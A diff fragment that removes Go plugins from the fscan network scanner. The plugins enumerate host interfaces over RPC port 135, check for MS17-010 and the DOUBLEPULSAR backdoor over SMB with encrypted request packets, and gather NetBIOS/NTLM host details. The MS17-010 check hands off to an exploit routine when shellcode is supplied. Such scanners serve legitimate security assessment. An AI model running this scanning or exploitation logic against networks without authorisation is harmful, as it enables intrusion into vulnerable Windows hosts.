bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
func Findnet(info *common.HostInfo) error {
|
||||
return FindnetScan(info)
|
||||
}
|
||||
|
||||
func FindnetScan(info *common.HostInfo) error {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接RPC端口失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
|
||||
return fmt.Errorf("设置超时失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV1); err != nil {
|
||||
return fmt.Errorf("发送RPC请求1失败: %v", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 4096)
|
||||
if _, err = conn.Read(reply); err != nil {
|
||||
return fmt.Errorf("读取RPC响应1失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV2); err != nil {
|
||||
return fmt.Errorf("发送RPC请求2失败: %v", err)
|
||||
}
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 42 {
|
||||
return fmt.Errorf("读取RPC响应2失败: %v", err)
|
||||
}
|
||||
|
||||
text := reply[42:]
|
||||
found := false
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
||||
text = text[:i-4]
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !found {
|
||||
return fmt.Errorf("未找到有效的响应标记")
|
||||
}
|
||||
|
||||
return read(text, info.Host)
|
||||
}
|
||||
|
||||
func HexUnicodeStringToString(src string) string {
|
||||
if len(src)%4 != 0 {
|
||||
src += strings.Repeat("0", 4-len(src)%4)
|
||||
}
|
||||
|
||||
var result strings.Builder
|
||||
for i := 0; i < len(src); i += 4 {
|
||||
if i+4 > len(src) {
|
||||
break
|
||||
}
|
||||
|
||||
charCode, err := strconv.ParseInt(src[i+2:i+4]+src[i:i+2], 16, 32)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if unicode.IsPrint(rune(charCode)) {
|
||||
result.WriteRune(rune(charCode))
|
||||
}
|
||||
}
|
||||
|
||||
return result.String()
|
||||
}
|
||||
|
||||
func isValidHostname(name string) bool {
|
||||
if len(name) == 0 || len(name) > 255 {
|
||||
return false
|
||||
}
|
||||
|
||||
validHostname := regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]*[a-zA-Z0-9]$`)
|
||||
return validHostname.MatchString(name)
|
||||
}
|
||||
|
||||
func isValidNetworkAddress(addr string) bool {
|
||||
// 检查是否为IPv4或IPv6
|
||||
if ip := net.ParseIP(addr); ip != nil {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查是否为有效主机名
|
||||
return isValidHostname(addr)
|
||||
}
|
||||
|
||||
func cleanAndValidateAddress(data []byte) string {
|
||||
// 转换为字符串并清理不可打印字符
|
||||
addr := strings.Map(func(r rune) rune {
|
||||
if unicode.IsPrint(r) {
|
||||
return r
|
||||
}
|
||||
return -1
|
||||
}, string(data))
|
||||
|
||||
// 移除前后空白
|
||||
addr = strings.TrimSpace(addr)
|
||||
|
||||
if isValidNetworkAddress(addr) {
|
||||
return addr
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func read(text []byte, host string) error {
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
|
||||
// 解析主机名
|
||||
var hostName string
|
||||
for i := 0; i < len(encodedStr)-4; i += 4 {
|
||||
if encodedStr[i:i+4] == "0000" {
|
||||
break
|
||||
}
|
||||
hostName += encodedStr[i : i+4]
|
||||
}
|
||||
|
||||
name := HexUnicodeStringToString(hostName)
|
||||
if !isValidHostname(name) {
|
||||
name = ""
|
||||
}
|
||||
|
||||
// 用于收集地址信息
|
||||
var ipv4Addrs []string
|
||||
var ipv6Addrs []string
|
||||
seenAddresses := make(map[string]bool)
|
||||
|
||||
// 解析网络信息
|
||||
netInfo := strings.Replace(encodedStr, "0700", "", -1)
|
||||
segments := strings.Split(netInfo, "000000")
|
||||
|
||||
// 处理每个网络地址
|
||||
for _, segment := range segments {
|
||||
if len(segment) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
if len(segment)%2 != 0 {
|
||||
segment = segment + "0"
|
||||
}
|
||||
|
||||
addrBytes, err := hex.DecodeString(segment)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
addr := cleanAndValidateAddress(addrBytes)
|
||||
if addr != "" && !seenAddresses[addr] {
|
||||
seenAddresses[addr] = true
|
||||
|
||||
if strings.Contains(addr, ":") {
|
||||
ipv6Addrs = append(ipv6Addrs, addr)
|
||||
} else if net.ParseIP(addr) != nil {
|
||||
ipv4Addrs = append(ipv4Addrs, addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 构建详细信息
|
||||
details := map[string]interface{}{
|
||||
"hostname": name,
|
||||
"ipv4": ipv4Addrs,
|
||||
"ipv6": ipv6Addrs,
|
||||
}
|
||||
|
||||
// 保存扫描结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeService,
|
||||
Target: host,
|
||||
Status: "identified",
|
||||
Details: details,
|
||||
}
|
||||
common.SaveResult(result)
|
||||
|
||||
// 构建控制台输出
|
||||
var output strings.Builder
|
||||
output.WriteString("NetInfo 扫描结果")
|
||||
output.WriteString(fmt.Sprintf("\n目标主机: %s", host))
|
||||
if name != "" {
|
||||
output.WriteString(fmt.Sprintf("\n主机名: %s", name))
|
||||
}
|
||||
output.WriteString("\n发现的网络接口:")
|
||||
|
||||
if len(ipv4Addrs) > 0 {
|
||||
output.WriteString("\n IPv4地址:")
|
||||
for _, addr := range ipv4Addrs {
|
||||
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
|
||||
}
|
||||
}
|
||||
|
||||
if len(ipv6Addrs) > 0 {
|
||||
output.WriteString("\n IPv6地址:")
|
||||
for _, addr := range ipv6Addrs {
|
||||
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
|
||||
}
|
||||
}
|
||||
|
||||
common.LogInfo(output.String())
|
||||
return nil
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -1,289 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
// SMB协议加密的请求数据
|
||||
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
|
||||
|
||||
// SMB协议解密后的请求数据
|
||||
negotiateProtocolRequest []byte
|
||||
sessionSetupRequest []byte
|
||||
treeConnectRequest []byte
|
||||
transNamedPipeRequest []byte
|
||||
trans2SessionSetupRequest []byte
|
||||
)
|
||||
|
||||
func init() {
|
||||
var err error
|
||||
|
||||
// 解密协议请求
|
||||
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话请求
|
||||
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密连接请求
|
||||
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密管道请求
|
||||
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话设置请求
|
||||
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
// MS17010 扫描入口函数
|
||||
func MS17010(info *common.HostInfo) error {
|
||||
if common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func MS17010Scan(info *common.HostInfo) error {
|
||||
ip := info.Host
|
||||
|
||||
// 连接目标
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接错误: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
|
||||
return fmt.Errorf("设置超时错误: %v", err)
|
||||
}
|
||||
|
||||
// SMB协议协商
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return fmt.Errorf("发送协议请求错误: %v", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 1024)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取协议响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("协议响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return fmt.Errorf("协议协商被拒绝")
|
||||
}
|
||||
|
||||
// 建立会话
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return fmt.Errorf("发送会话请求错误: %v", err)
|
||||
}
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取会话响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("会话响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return fmt.Errorf("会话建立失败")
|
||||
}
|
||||
|
||||
// 提取系统信息
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
|
||||
} else {
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 树连接请求
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||
return fmt.Errorf("发送树连接请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取树连接响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("树连接响应不完整")
|
||||
}
|
||||
|
||||
// 命名管道请求
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||
return fmt.Errorf("发送管道请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取管道响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("管道响应不完整")
|
||||
}
|
||||
|
||||
// 漏洞检测部分添加 Output
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
// 构造基本详情
|
||||
details := map[string]interface{}{
|
||||
"port": "445",
|
||||
"vulnerability": "MS17-010",
|
||||
}
|
||||
if os != "" {
|
||||
details["os"] = os
|
||||
common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
|
||||
} else {
|
||||
common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
|
||||
}
|
||||
|
||||
// 保存 MS17-010 漏洞结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: ip,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
common.SaveResult(result)
|
||||
|
||||
// DOUBLEPULSAR 后门检测
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
|
||||
return fmt.Errorf("发送后门检测请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取后门检测响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("后门检测响应不完整")
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
|
||||
|
||||
// 保存 DOUBLEPULSAR 后门结果
|
||||
backdoorResult := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: ip,
|
||||
Status: "backdoor",
|
||||
Details: map[string]interface{}{
|
||||
"port": "445",
|
||||
"type": "DOUBLEPULSAR",
|
||||
"os": os,
|
||||
},
|
||||
}
|
||||
common.SaveResult(backdoorResult)
|
||||
}
|
||||
|
||||
// Shellcode 利用部分保持不变
|
||||
if common.Shellcode != "" {
|
||||
defer MS17010EXP(info)
|
||||
}
|
||||
} else if os != "" {
|
||||
common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
|
||||
|
||||
// 保存系统信息
|
||||
sysResult := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeService,
|
||||
Target: ip,
|
||||
Status: "identified",
|
||||
Details: map[string]interface{}{
|
||||
"port": "445",
|
||||
"service": "smb",
|
||||
"os": os,
|
||||
},
|
||||
}
|
||||
common.SaveResult(sysResult)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
@ -1,400 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"gopkg.in/yaml.v3"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var errNetBIOS = errors.New("netbios error")
|
||||
|
||||
func NetBIOS(info *common.HostInfo) error {
|
||||
netbios, _ := NetBIOS1(info)
|
||||
output := netbios.String()
|
||||
if len(output) > 0 {
|
||||
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
|
||||
common.LogSuccess(result)
|
||||
|
||||
// 保存结果
|
||||
details := map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
}
|
||||
|
||||
// 添加有效的 NetBIOS 信息
|
||||
if netbios.ComputerName != "" {
|
||||
details["computer_name"] = netbios.ComputerName
|
||||
}
|
||||
if netbios.DomainName != "" {
|
||||
details["domain_name"] = netbios.DomainName
|
||||
}
|
||||
if netbios.NetDomainName != "" {
|
||||
details["netbios_domain"] = netbios.NetDomainName
|
||||
}
|
||||
if netbios.NetComputerName != "" {
|
||||
details["netbios_computer"] = netbios.NetComputerName
|
||||
}
|
||||
if netbios.WorkstationService != "" {
|
||||
details["workstation_service"] = netbios.WorkstationService
|
||||
}
|
||||
if netbios.ServerService != "" {
|
||||
details["server_service"] = netbios.ServerService
|
||||
}
|
||||
if netbios.DomainControllers != "" {
|
||||
details["domain_controllers"] = netbios.DomainControllers
|
||||
}
|
||||
if netbios.OsVersion != "" {
|
||||
details["os_version"] = netbios.OsVersion
|
||||
}
|
||||
|
||||
// NetBIOS信息已通过上面的LogSuccess记录,不需要额外保存结果
|
||||
return nil
|
||||
}
|
||||
return errNetBIOS
|
||||
}
|
||||
|
||||
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
netbios, err = GetNbnsname(info)
|
||||
var payload0 []byte
|
||||
if netbios.ServerService != "" || netbios.WorkstationService != "" {
|
||||
ss := netbios.ServerService
|
||||
if ss == "" {
|
||||
ss = netbios.WorkstationService
|
||||
}
|
||||
name := netbiosEncode(ss)
|
||||
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
|
||||
payload0 = append(payload0, name...)
|
||||
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
||||
}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
var conn net.Conn
|
||||
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if info.Ports == "139" && len(payload0) > 0 {
|
||||
_, err1 := conn.Write(payload0)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
_, err1 = ReadBytes(conn)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
_, err = conn.Write(NegotiateSMBv1Data1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = ReadBytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
_, err = conn.Write(NegotiateSMBv1Data2)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var ret []byte
|
||||
ret, err = ReadBytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
netbios2, err := ParseNTLM(ret)
|
||||
JoinNetBios(&netbios, &netbios2)
|
||||
return
|
||||
}
|
||||
|
||||
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
|
||||
realhost := fmt.Sprintf("%s:137", info.Host)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write(senddata1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, _ := ReadBytes(conn)
|
||||
netbios, err = ParseNetBios(text)
|
||||
return
|
||||
}
|
||||
|
||||
func bytetoint(text byte) (int, error) {
|
||||
num1 := fmt.Sprintf("%v", text)
|
||||
num, err := strconv.Atoi(num1)
|
||||
return num, err
|
||||
}
|
||||
|
||||
func netbiosEncode(name string) (output []byte) {
|
||||
var names []int
|
||||
src := fmt.Sprintf("%-16s", name)
|
||||
for _, a := range src {
|
||||
char_ord := int(a)
|
||||
high_4_bits := char_ord >> 4
|
||||
low_4_bits := char_ord & 0x0f
|
||||
names = append(names, high_4_bits, low_4_bits)
|
||||
}
|
||||
for _, one := range names {
|
||||
out := (one + 0x41)
|
||||
output = append(output, byte(out))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var (
|
||||
UNIQUE_NAMES = map[string]string{
|
||||
"\x00": "WorkstationService",
|
||||
"\x03": "Messenger Service",
|
||||
"\x06": "RAS Server Service",
|
||||
"\x1F": "NetDDE Service",
|
||||
"\x20": "ServerService",
|
||||
"\x21": "RAS Client Service",
|
||||
"\xBE": "Network Monitor Agent",
|
||||
"\xBF": "Network Monitor Application",
|
||||
"\x1D": "Master Browser",
|
||||
"\x1B": "Domain Master Browser",
|
||||
}
|
||||
|
||||
GROUP_NAMES = map[string]string{
|
||||
"\x00": "DomainName",
|
||||
"\x1C": "DomainControllers",
|
||||
"\x1E": "Browser Service Elections",
|
||||
}
|
||||
|
||||
NetBIOS_ITEM_TYPE = map[string]string{
|
||||
"\x01\x00": "NetBiosComputerName",
|
||||
"\x02\x00": "NetBiosDomainName",
|
||||
"\x03\x00": "ComputerName",
|
||||
"\x04\x00": "DomainName",
|
||||
"\x05\x00": "DNS tree name",
|
||||
"\x07\x00": "Time stamp",
|
||||
}
|
||||
NegotiateSMBv1Data1 = []byte{
|
||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
NegotiateSMBv1Data2 = []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
